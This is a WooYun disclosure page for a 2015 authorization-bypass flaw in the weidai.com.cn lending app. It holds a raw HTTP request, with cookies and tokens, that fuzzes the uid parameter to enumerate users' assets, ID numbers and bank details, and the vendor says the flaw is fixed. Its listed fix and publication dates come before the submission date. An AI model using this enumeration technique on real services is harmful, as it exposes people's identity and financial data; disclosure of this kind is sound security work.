当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153720

漏洞标题：P2P微贷网高危漏洞可对所有在线用户资产身份证银行数据遍历

相关厂商：weidai.com.cn

漏洞作者： 慢跑

提交时间：2015-12-30 09:35

修复时间：2015-12-26 10:36

公开时间：2015-12-26 10:36

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-30： 细节已通知厂商并且等待厂商处理中
2015-12-30： 厂商已经确认，细节仅向厂商公开
2016-01-09： 细节向核心白帽子及相关领域专家公开
2016-01-19： 细节向普通白帽子公开
2016-01-29： 细节向实习白帽子公开
2015-12-26： 细节向公众公开

简要描述：

P2P微贷网高危漏洞可对所有在线用户资产身份证银行数据遍历

详细说明：

微贷网android app---我的资产请求参数uid未做token或身份校验，导致越权漏洞，通过编辑uid字典可以遍历爬取所有在线用户资产及用户实名身份证及银行信息
1、注册登陆微贷网android app 进入我的资产
2、将请求包中得uid作为变量进行资产遍历，使用1-500000的数字作为字典

POST /user/accInfo HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Host: m.weidai.com.cn
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.5)
Cookie: JSESSIONID=DB9EF2B75A781C0601A7365837A1C6C1; SERVERID=34d40cbb96cc3f15549eed6dcc2675d1|1447251024|1447251004
Cookie2: $Version=1
at=b78d575a3c1cfc4169ee538165984ac2&uid=§111§&sid=5f2fee66c83d7b1627406c76c8


3、可以遍历出来所有在线用户资产

1.png


漏洞证明：

1、任意选择一个uid=2489获取如下数据

2.png


2、进入账户设置可以获取实名认证的身份证银行数据

3.png

修复方案：

增加token限制或请求身份校验

版权声明：转载请注明来源 慢跑@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-12-30 09:53

厂商回复：

感谢慢跑对于贵公司产品的安全帮助，贵司马上组织技术修复。请持续保持联系。谢谢

最新状态：

2016-01-12：已经修复

漏洞评价：

评价

  1. 2015-12-30 10:04 | magina ( 路人 | Rank:0 漏洞数:1 | 并没有任何好介绍的)

    不是应该自称我司么。。。

  2. 2015-12-30 10:22 | 微贷网(乌云厂商)

    @magina 码字太快，又出现了一个bug。惭愧哈哈

  3. 2015-12-30 14:10 | 夏殇 ( 实习白帽子 | Rank:32 漏洞数:22 | 不忘初心，方得始终。)

    分数挺高的o_O